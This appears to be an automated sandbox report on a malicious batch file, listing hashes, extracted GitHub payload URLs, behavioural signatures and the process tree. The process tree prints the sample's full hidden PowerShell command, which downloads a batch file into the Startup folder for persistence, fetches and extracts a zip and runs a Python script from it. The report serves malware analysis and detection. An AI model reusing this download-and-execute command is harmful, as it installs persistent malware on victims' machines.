Analysis
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max time kernel
119s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22-11-2024 03:02
Static task
static1
Behavioral task
behavioral1
Sample
bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c.bat
Resource
win10v2004-20241007-en
General
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Target
bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c.bat
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Size
271KB
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MD5
e7c99129a04e08ee965a08b79137b6a3
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SHA1
7e7060bd33efe7eeb2d3b9f2b27244dcd3fe709f
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SHA256
bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c
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SHA512
89451efa002d7cd75c17ef4beb72d6d156695e83058e112fd85b354cf6085713b320e246264f728147e23980fbd6a512ac8518a118493bd1496971a9b3302b6f
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SSDEEP
1536:R2Vb2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VR:D
Malware Config
Extracted
https://github.com/rouki555/lnk/raw/main/ud.bat
https://github.com/rouki555/dcm/raw/main/Document.zip
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 5 2348 powershell.exe 6 2348 powershell.exe 7 2348 powershell.exe 8 2348 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2348 powershell.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafety.bat powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2348 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2348 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2068 wrote to memory of 2348 2068 cmd.exe 31 PID 2068 wrote to memory of 2348 2068 cmd.exe 31 PID 2068 wrote to memory of 2348 2068 cmd.exe 31
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/rouki555/lnk/raw/main/ud.bat', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafety.bat');[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/rouki555/dcm/raw/main/Document.zip', 'C:\Users\Public\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\Users\Public\Document\python C:\Users\Public\Document\Lib\sim.py; del C:/Users/Public/Document.zip"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348
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